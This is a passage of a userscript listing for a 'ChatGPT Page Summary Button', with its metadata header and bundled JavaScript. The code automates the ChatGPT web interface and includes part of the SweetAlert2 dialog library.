ChatGPT 页面摘要按钮

🍓 让 ChatGPT 一键总结您正在阅读的网页

当前为 2023-07-28 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-page-summary-button
  3. // @description 🍓 let ChatGPT summary the web page you are reading in one click
  4. // @author mefengl
  5. // @version 0.6.8
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_setValue
  12. // @grant GM_getValue
  13. // @grant GM_registerMenuCommand
  14. // @grant GM_unregisterMenuCommand
  15. // @grant GM_addValueChangeListener
  16.  
  17. // @name:en ChatGPT Page Summary Button
  18. // @description:en 🍓 let ChatGPT summarize the web page you are reading in one click
  19. // @name:zh-CN ChatGPT 页面摘要按钮
  20. // @description:zh-CN 🍓 让 ChatGPT 一键总结您正在阅读的网页
  21. // @name:es Botón de resumen de página de ChatGPT
  22. // @description:es 🍓 permite que ChatGPT resuma la página web que estás leyendo con un solo clic
  23. // @name:hi ChatGPT पृष्ठ सारांश बटन
  24. // @description:hi 🍓 ChatGPT को वेबपेज जो आप पढ़ रहे हैं को एक क्लिक में संक्षेप में देने दें
  25. // @name:ar زر ملخص الصفحة لـ ChatGPT
  26. // @description:ar 🍓 دع ChatGPT يلخص صفحة الويب التي تقرأها بنقرة واحدة
  27. // @name:pt Botão de resumo de página do ChatGPT
  28. // @description:pt 🍓 permita que o ChatGPT resuma a página da web que você está lendo com um clique
  29. // @name:ru Кнопка резюме страницы ChatGPT
  30. // @description:ru 🍓 позволяет ChatGPT кратко описывать веб-страницу, которую вы читаете, одним щелчком мыши
  31. // @name:ja ChatGPTページ要約ボタン
  32. // @description:ja 🍓 ChatGPTで読んでいるWebページをワンクリックで要約
  33. // @name:de ChatGPT-Seitenzusammenfassungs-Button
  34. // @description:de 🍓 Lassen Sie ChatGPT die Webseite, die Sie gerade lesen, mit einem Klick zusammenfassen
  35. // @name:fr Bouton de résumé de page ChatGPT
  36. // @description:fr 🍓 laissez ChatGPT résumer la page Web que vous lisez en un seul clic
  37. // ==/UserScript==
  38. "use strict";
  39. (() => {
  40. var __create = Object.create;
  41. var __defProp = Object.defineProperty;
  42. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  43. var __getOwnPropNames = Object.getOwnPropertyNames;
  44. var __getProtoOf = Object.getPrototypeOf;
  45. var __hasOwnProp = Object.prototype.hasOwnProperty;
  46. var __commonJS = (cb, mod) => function __require() {
  47. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  48. };
  49. var __copyProps = (to, from, except, desc) => {
  50. if (from && typeof from === "object" || typeof from === "function") {
  51. for (let key of __getOwnPropNames(from))
  52. if (!__hasOwnProp.call(to, key) && key !== except)
  53. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  54. }
  55. return to;
  56. };
  57. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  58. // If the importer is in node compatibility mode or this is not an ESM
  59. // file that has been converted to a CommonJS file using a Babel-
  60. // compatible transform (i.e. "__esModule" has not been set), then set
  61. // "default" to the CommonJS "module.exports" for node compatibility.
  62. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  63. mod
  64. ));
  65. var __async = (__this, __arguments, generator) => {
  66. return new Promise((resolve, reject) => {
  67. var fulfilled = (value) => {
  68. try {
  69. step(generator.next(value));
  70. } catch (e) {
  71. reject(e);
  72. }
  73. };
  74. var rejected = (value) => {
  75. try {
  76. step(generator.throw(value));
  77. } catch (e) {
  78. reject(e);
  79. }
  80. };
  81. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  82. step((generator = generator.apply(__this, __arguments)).next());
  83. });
  84. };
  85.  
  86. // ../../packages/chatkit/dist/chatgpt/index.js
  87. var require_chatgpt = __commonJS({
  88. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  89. "use strict";
  90. var __defProp2 = Object.defineProperty;
  91. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  92. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  93. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  94. var __export = (target, all) => {
  95. for (var name in all)
  96. __defProp2(target, name, { get: all[name], enumerable: true });
  97. };
  98. var __copyProps2 = (to, from, except, desc) => {
  99. if (from && typeof from === "object" || typeof from === "function") {
  100. for (let key of __getOwnPropNames2(from))
  101. if (!__hasOwnProp2.call(to, key) && key !== except)
  102. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  103. }
  104. return to;
  105. };
  106. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  107. var chatgpt_exports = {};
  108. __export(chatgpt_exports, {
  109. getButton: () => getButton,
  110. getContinueGeneratingButton: () => getContinueGeneratingButton,
  111. getConversation: () => getConversation,
  112. getCopyLinkButton: () => getCopyLinkButton,
  113. getHistoryBlockTitle: () => getHistoryBlockTitle,
  114. getHistoryBlocks: () => getHistoryBlocks,
  115. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  116. getLastResponse: () => getLastResponse,
  117. getLastResponseElement: () => getLastResponseElement,
  118. getModelSelectButton: () => getModelSelectButton,
  119. getNav: () => getNav,
  120. getNewModelSelectButtons: () => getNewModelSelectButtons,
  121. getRegenerateButton: () => getRegenerateButton,
  122. getResponseElementHTMLs: () => getResponseElementHTMLs2,
  123. getShareChatButton: () => getShareChatButton,
  124. getStopGeneratingButton: () => getStopGeneratingButton,
  125. getSubmitButton: () => getSubmitButton,
  126. getTextarea: () => getTextarea,
  127. getTextareaValue: () => getTextareaValue,
  128. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  129. isConversationStarted: () => isConversationStarted,
  130. isGenerating: () => isGenerating,
  131. isHorizontalConversation: () => isHorizontalConversation,
  132. onSend: () => onSend,
  133. regenerate: () => regenerate,
  134. send: () => send,
  135. setHorizontalConversation: () => setHorizontalConversation,
  136. setPromptListener: () => setPromptListener2,
  137. setPureConversation: () => setPureConversation,
  138. setTextarea: () => setTextarea,
  139. waitForIdle: () => waitForIdle
  140. });
  141. module.exports = __toCommonJS(chatgpt_exports);
  142. function getNav() {
  143. return document.querySelector("nav");
  144. }
  145. function getHistoryBlocks() {
  146. const nav = getNav();
  147. if (!nav)
  148. return [];
  149. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  150. return result;
  151. }
  152. function getHistoryBlockTitle(historyBlock) {
  153. var _a;
  154. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  155. }
  156. function getHistoryBlocksWithTitle() {
  157. const historyBlocks = getHistoryBlocks();
  158. const result = historyBlocks.map((historyBlock) => ({
  159. block: historyBlock,
  160. title: getHistoryBlockTitle(historyBlock)
  161. }));
  162. return result;
  163. }
  164. function getTextarea() {
  165. const form = document.querySelector("form");
  166. if (!form)
  167. return;
  168. const textareas = form.querySelectorAll("textarea");
  169. const result = textareas[0];
  170. return result;
  171. }
  172. function getSubmitButton() {
  173. const textarea = getTextarea();
  174. if (!textarea)
  175. return;
  176. return textarea.nextElementSibling;
  177. }
  178. function getButton(text) {
  179. return Array.from(document.querySelectorAll('button[as="button"]')).find((button) => {
  180. var _a;
  181. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes(text);
  182. });
  183. }
  184. function getRegenerateButton() {
  185. return getButton("regenerate");
  186. }
  187. function getContinueGeneratingButton() {
  188. return getButton("continue");
  189. }
  190. function getStopGeneratingButton() {
  191. return getButton("stop");
  192. }
  193. function getResponseElementHTMLs2() {
  194. return Array.from(document.querySelectorAll(".markdown")).map((m) => m.innerHTML);
  195. }
  196. function getLastResponseElement() {
  197. const responseElements = document.querySelectorAll(".group.w-full");
  198. return responseElements[responseElements.length - 1];
  199. }
  200. function getLastResponse() {
  201. const lastResponseElement = getLastResponseElement();
  202. if (!lastResponseElement)
  203. return;
  204. const lastResponse = lastResponseElement.textContent;
  205. return lastResponse;
  206. }
  207. function getTextareaValue() {
  208. var _a;
  209. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  210. }
  211. function setTextarea(message) {
  212. const textarea = getTextarea();
  213. if (!textarea)
  214. return;
  215. textarea.value = message;
  216. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  217. }
  218. function send(message) {
  219. return __async(this, null, function* () {
  220. setTextarea(message);
  221. const textarea = getTextarea();
  222. if (!textarea)
  223. return;
  224. while (textarea.value === message) {
  225. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  226. yield new Promise((resolve) => setTimeout(resolve, 100));
  227. }
  228. });
  229. }
  230. function regenerate() {
  231. const regenerateButton = getRegenerateButton();
  232. if (!regenerateButton)
  233. return;
  234. regenerateButton.click();
  235. }
  236. function onSend(callback) {
  237. const textarea = getTextarea();
  238. if (!textarea)
  239. return;
  240. textarea.addEventListener("keydown", function(event) {
  241. if (event.key === "Enter" && !event.shiftKey) {
  242. callback();
  243. }
  244. });
  245. const sendButton = getSubmitButton();
  246. if (!sendButton)
  247. return;
  248. sendButton.addEventListener("mousedown", callback);
  249. }
  250. function isGenerating() {
  251. var _a, _b;
  252. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  253. }
  254. function waitForIdle() {
  255. return new Promise((resolve) => {
  256. const interval = setInterval(() => {
  257. if (!isGenerating()) {
  258. clearInterval(interval);
  259. resolve();
  260. }
  261. }, 1e3);
  262. });
  263. }
  264. function setPromptListener2(key = "prompt_texts") {
  265. let last_trigger_time = +/* @__PURE__ */ new Date();
  266. if (location.href.includes("chat.openai")) {
  267. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  268. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  269. return;
  270. }
  271. last_trigger_time = +/* @__PURE__ */ new Date();
  272. setTimeout(() => __async(this, null, function* () {
  273. var _a, _b;
  274. const prompt_texts = new_value;
  275. const isLong = prompt_texts.length > 60;
  276. if (prompt_texts.length > 0) {
  277. let firstTime = true;
  278. while (prompt_texts.length > 0) {
  279. const waitTime = isLong && !document.hasFocus() ? 30 * 1e3 : 2e3;
  280. if (!firstTime) {
  281. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  282. }
  283. if (!firstTime && isGenerating()) {
  284. continue;
  285. } else if (getContinueGeneratingButton()) {
  286. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  287. continue;
  288. } else if (getRegenerateButton() && !getTextarea()) {
  289. yield new Promise((resolve) => setTimeout(resolve, 10 * 1e3));
  290. (_b = getRegenerateButton()) == null ? void 0 : _b.click();
  291. continue;
  292. }
  293. firstTime = false;
  294. yield send(prompt_texts.shift() || "");
  295. }
  296. }
  297. }), 0);
  298. GM_setValue(key, []);
  299. }));
  300. }
  301. }
  302. function getConversation() {
  303. var _a, _b;
  304. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  305. }
  306. function getModelSelectButton() {
  307. const conversation = getConversation();
  308. if (!conversation)
  309. return;
  310. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  311. var _a;
  312. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  313. });
  314. }
  315. function getNewModelSelectButtons() {
  316. return Array.from(document.querySelectorAll("[class^='group/button']"));
  317. }
  318. function hasNewModelSelectButtons() {
  319. return getNewModelSelectButtons().length > 0;
  320. }
  321. function isConversationStarted() {
  322. return !getModelSelectButton();
  323. }
  324. function setPureConversation() {
  325. const conversation = getConversation();
  326. if (!conversation)
  327. return;
  328. const firstChild = conversation.firstChild;
  329. if (!firstChild)
  330. return;
  331. const newDiv = document.createElement("div");
  332. conversation.insertBefore(newDiv, firstChild.nextSibling);
  333. }
  334. function isHorizontalConversation() {
  335. const conversation = getConversation();
  336. if (!conversation)
  337. return true;
  338. if (!isConversationStarted())
  339. return true;
  340. return conversation.classList.contains("grid");
  341. }
  342. function setHorizontalConversation() {
  343. if (isHorizontalConversation())
  344. return;
  345. setPureConversation();
  346. const conversation = getConversation();
  347. if (!conversation)
  348. return;
  349. conversation.classList.remove("flex", "flex-col", "items-center");
  350. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  351. }
  352. function getShareChatButton() {
  353. return document.querySelector('button[aria-label="Share chat"]');
  354. }
  355. function getCopyLinkButton() {
  356. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  357. var _a;
  358. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("copy link");
  359. })[0];
  360. }
  361. }
  362. });
  363.  
  364. // ../../packages/chatkit/chatgpt.js
  365. var require_chatgpt2 = __commonJS({
  366. "../../packages/chatkit/chatgpt.js"(exports, module) {
  367. module.exports = require_chatgpt();
  368. }
  369. });
  370.  
  371. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  372. var require_sweetalert2_all = __commonJS({
  373. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  374. (function(global, factory) {
  375. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  376. })(exports, function() {
  377. "use strict";
  378. const RESTORE_FOCUS_TIMEOUT = 100;
  379. const globalState = {};
  380. const focusPreviousActiveElement = () => {
  381. if (globalState.previousActiveElement instanceof HTMLElement) {
  382. globalState.previousActiveElement.focus();
  383. globalState.previousActiveElement = null;
  384. } else if (document.body) {
  385. document.body.focus();
  386. }
  387. };
  388. const restoreActiveElement = (returnFocus) => {
  389. return new Promise((resolve) => {
  390. if (!returnFocus) {
  391. return resolve();
  392. }
  393. const x = window.scrollX;
  394. const y = window.scrollY;
  395. globalState.restoreFocusTimeout = setTimeout(() => {
  396. focusPreviousActiveElement();
  397. resolve();
  398. }, RESTORE_FOCUS_TIMEOUT);
  399. window.scrollTo(x, y);
  400. });
  401. };
  402. var privateProps = {
  403. promise: /* @__PURE__ */ new WeakMap(),
  404. innerParams: /* @__PURE__ */ new WeakMap(),
  405. domCache: /* @__PURE__ */ new WeakMap()
  406. };
  407. const swalPrefix = "swal2-";
  408. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  409. const swalClasses = classNames.reduce(
  410. (acc, className) => {
  411. acc[className] = swalPrefix + className;
  412. return acc;
  413. },
  414. /** @type {SwalClasses} */
  415. {}
  416. );
  417. const icons = ["success", "warning", "info", "question", "error"];
  418. const iconTypes = icons.reduce(
  419. (acc, icon) => {
  420. acc[icon] = swalPrefix + icon;
  421. return acc;
  422. },
  423. /** @type {SwalIcons} */
  424. {}
  425. );
  426. const consolePrefix = "SweetAlert2:";
  427. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  428. const warn = (message) => {
  429. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  430. };
  431. const error = (message) => {
  432. console.error(`${consolePrefix} ${message}`);
  433. };
  434. const previousWarnOnceMessages = [];
  435. const warnOnce = (message) => {
  436. if (!previousWarnOnceMessages.includes(message)) {
  437. previousWarnOnceMessages.push(message);
  438. warn(message);
  439. }
  440. };
  441. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  442. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  443. };
  444. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  445. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  446. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  447. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  448. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  449. const elementBySelector = (selectorString) => {
  450. const container = getContainer();
  451. return container ? container.querySelector(selectorString) : null;
  452. };
  453. const elementByClass = (className) => {
  454. return elementBySelector(`.${className}`);
  455. };
  456. const getPopup = () => elementByClass(swalClasses.popup);
  457. const getIcon = () => elementByClass(swalClasses.icon);
  458. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  459. const getTitle = () => elementByClass(swalClasses.title);
  460. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  461. const getImage = () => elementByClass(swalClasses.image);
  462. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  463. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  464. const getConfirmButton = () => (
  465. /** @type {HTMLButtonElement} */
  466. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  467. );
  468. const getCancelButton = () => (
  469. /** @type {HTMLButtonElement} */
  470. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  471. );
  472. const getDenyButton = () => (
  473. /** @type {HTMLButtonElement} */
  474. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  475. );
  476. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  477. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  478. const getActions = () => elementByClass(swalClasses.actions);
  479. const getFooter = () => elementByClass(swalClasses.footer);
  480. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  481. const getCloseButton = () => elementByClass(swalClasses.close);
  482. const focusable = `
  483. a[href],
  484. area[href],
  485. input:not([disabled]),
  486. select:not([disabled]),
  487. textarea:not([disabled]),
  488. button:not([disabled]),
  489. iframe,
  490. object,
  491. embed,
  492. [tabindex="0"],
  493. [contenteditable],
  494. audio[controls],
  495. video[controls],
  496. summary
  497. `;
  498. const getFocusableElements = () => {
  499. const popup = getPopup();
  500. if (!popup) {
  501. return [];
  502. }
  503. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  504. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  505. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  506. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  507. if (tabindexA > tabindexB) {
  508. return 1;
  509. } else if (tabindexA < tabindexB) {
  510. return -1;
  511. }
  512. return 0;
  513. });
  514. const otherFocusableElements = popup.querySelectorAll(focusable);
  515. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  516. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  517. };
  518. const isModal = () => {
  519. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  520. };
  521. const isToast = () => {
  522. const popup = getPopup();
  523. if (!popup) {
  524. return false;
  525. }
  526. return hasClass(popup, swalClasses.toast);
  527. };
  528. const isLoading = () => {
  529. const popup = getPopup();
  530. if (!popup) {
  531. return false;
  532. }
  533. return popup.hasAttribute("data-loading");
  534. };
  535. const setInnerHtml = (elem, html) => {
  536. elem.textContent = "";
  537. if (html) {
  538. const parser = new DOMParser();
  539. const parsed = parser.parseFromString(html, `text/html`);
  540. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  541. elem.appendChild(child);
  542. });
  543. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  544. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  545. elem.appendChild(child.cloneNode(true));
  546. } else {
  547. elem.appendChild(child);
  548. }
  549. });
  550. }
  551. };
  552. const hasClass = (elem, className) => {
  553. if (!className) {
  554. return false;
  555. }
  556. const classList = className.split(/\s+/);
  557. for (let i = 0; i < classList.length; i++) {
  558. if (!elem.classList.contains(classList[i])) {
  559. return false;
  560. }
  561. }
  562. return true;
  563. };
  564. const removeCustomClasses = (elem, params) => {
  565. Array.from(elem.classList).forEach((className) => {
  566. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  567. elem.classList.remove(className);
  568. }
  569. });
  570. };
  571. const applyCustomClass = (elem, params, className) => {
  572. removeCustomClasses(elem, params);
  573. if (params.customClass && params.customClass[className]) {
  574. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  575. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  576. return;
  577. }
  578. addClass(elem, params.customClass[className]);
  579. }
  580. };
  581. const getInput$1 = (popup, inputClass) => {
  582. if (!inputClass) {
  583. return null;
  584. }
  585. switch (inputClass) {
  586. case "select":
  587. case "textarea":
  588. case "file":
  589. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  590. case "checkbox":
  591. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  592. case "radio":
  593. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  594. case "range":
  595. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  596. default:
  597. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  598. }
  599. };
  600. const focusInput = (input) => {
  601. input.focus();
  602. if (input.type !== "file") {
  603. const val = input.value;
  604. input.value = "";
  605. input.value = val;
  606. }
  607. };
  608. const toggleClass = (target, classList, condition) => {
  609. if (!target || !classList) {
  610. return;
  611. }
  612. if (typeof classList === "string") {
  613. classList = classList.split(/\s+/).filter(Boolean);
  614. }
  615. classList.forEach((className) => {
  616. if (Array.isArray(target)) {
  617. target.forEach((elem) => {
  618. condition ? elem.classList.add(className) : elem.classList.remove(className);
  619. });
  620. } else {
  621. condition ? target.classList.add(className) : target.classList.remove(className);
  622. }
  623. });
  624. };
  625. const addClass = (target, classList) => {
  626. toggleClass(target, classList, true);
  627. };
  628. const removeClass = (target, classList) => {
  629. toggleClass(target, classList, false);
  630. };
  631. const getDirectChildByClass = (elem, className) => {
  632. const children = Array.from(elem.children);
  633. for (let i = 0; i < children.length; i++) {
  634. const child = children[i];
  635. if (child instanceof HTMLElement && hasClass(child, className)) {
  636. return child;
  637. }
  638. }
  639. };
  640. const applyNumericalStyle = (elem, property, value) => {
  641. if (value === `${parseInt(value)}`) {
  642. value = parseInt(value);
  643. }
  644. if (value || parseInt(value) === 0) {
  645. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  646. } else {
  647. elem.style.removeProperty(property);
  648. }
  649. };
  650. const show = function(elem) {
  651. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  652. elem && (elem.style.display = display);
  653. };
  654. const hide = (elem) => {
  655. elem && (elem.style.display = "none");
  656. };
  657. const setStyle = (parent, selector, property, value) => {
  658. const el = parent.querySelector(selector);
  659. if (el) {
  660. el.style[property] = value;
  661. }
  662. };
  663. const toggle = function(elem, condition) {
  664. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  665. condition ? show(elem, display) : hide(elem);
  666. };
  667. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  668. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  669. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  670. const hasCssAnimation = (elem) => {
  671. const style = window.getComputedStyle(elem);
  672. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  673. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  674. return animDuration > 0 || transDuration > 0;
  675. };
  676. const animateTimerProgressBar = function(timer) {
  677. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  678. const timerProgressBar = getTimerProgressBar();
  679. if (isVisible$1(timerProgressBar)) {
  680. if (reset) {
  681. timerProgressBar.style.transition = "none";
  682. timerProgressBar.style.width = "100%";
  683. }
  684. setTimeout(() => {
  685. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  686. timerProgressBar.style.width = "0%";
  687. }, 10);
  688. }
  689. };
  690. const stopTimerProgressBar = () => {
  691. const timerProgressBar = getTimerProgressBar();
  692. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  693. timerProgressBar.style.removeProperty("transition");
  694. timerProgressBar.style.width = "100%";
  695. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  696. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  697. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  698. };
  699. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  700. const sweetHTML = `
  701. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  702. <button type="button" class="${swalClasses.close}"></button>
  703. <ul class="${swalClasses["progress-steps"]}"></ul>
  704. <div class="${swalClasses.icon}"></div>
  705. <img class="${swalClasses.image}" />
  706. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  707. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  708. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  709. <input type="file" class="${swalClasses.file}" />
  710. <div class="${swalClasses.range}">
  711. <input type="range" />
  712. <output></output>
  713. </div>
  714. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  715. <div class="${swalClasses.radio}"></div>
  716. <label class="${swalClasses.checkbox}">
  717. <input type="checkbox" id="${swalClasses.checkbox}" />
  718. <span class="${swalClasses.label}"></span>
  719. </label>
  720. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  721. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  722. <div class="${swalClasses.actions}">
  723. <div class="${swalClasses.loader}"></div>
  724. <button type="button" class="${swalClasses.confirm}"></button>
  725. <button type="button" class="${swalClasses.deny}"></button>
  726. <button type="button" class="${swalClasses.cancel}"></button>
  727. </div>
  728. <div class="${swalClasses.footer}"></div>
  729. <div class="${swalClasses["timer-progress-bar-container"]}">
  730. <div class="${swalClasses["timer-progress-bar"]}"></div>
  731. </div>
  732. </div>
  733. `.replace(/(^|\n)\s*/g, "");
  734. const resetOldContainer = () => {
  735. const oldContainer = getContainer();
  736. if (!oldContainer) {
  737. return false;
  738. }
  739. oldContainer.remove();
  740. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  741. return true;
  742. };
  743. const resetValidationMessage$1 = () => {
  744. globalState.currentInstance.resetValidationMessage();
  745. };
  746. const addInputChangeListeners = () => {
  747. const popup = getPopup();
  748. const input = getDirectChildByClass(popup, swalClasses.input);
  749. const file = getDirectChildByClass(popup, swalClasses.file);
  750. const range = popup.querySelector(`.${swalClasses.range} input`);
  751. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  752. const select = getDirectChildByClass(popup, swalClasses.select);
  753. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  754. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  755. input.oninput = resetValidationMessage$1;
  756. file.onchange = resetValidationMessage$1;
  757. select.onchange = resetValidationMessage$1;
  758. checkbox.onchange = resetValidationMessage$1;
  759. textarea.oninput = resetValidationMessage$1;
  760. range.oninput = () => {
  761. resetValidationMessage$1();
  762. rangeOutput.value = range.value;
  763. };
  764. range.onchange = () => {
  765. resetValidationMessage$1();
  766. rangeOutput.value = range.value;
  767. };
  768. };
  769. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  770. const setupAccessibility = (params) => {
  771. const popup = getPopup();
  772. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  773. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  774. if (!params.toast) {
  775. popup.setAttribute("aria-modal", "true");
  776. }
  777. };
  778. const setupRTL = (targetElement) => {
  779. if (window.getComputedStyle(targetElement).direction === "rtl") {
  780. addClass(getContainer(), swalClasses.rtl);
  781. }
  782. };
  783. const init = (params) => {
  784. const oldContainerExisted = resetOldContainer();
  785. if (isNodeEnv()) {
  786. error("SweetAlert2 requires document to initialize");
  787. return;
  788. }
  789. const container = document.createElement("div");
  790. container.className = swalClasses.container;
  791. if (oldContainerExisted) {
  792. addClass(container, swalClasses["no-transition"]);
  793. }
  794. setInnerHtml(container, sweetHTML);
  795. const targetElement = getTarget(params.target);
  796. targetElement.appendChild(container);
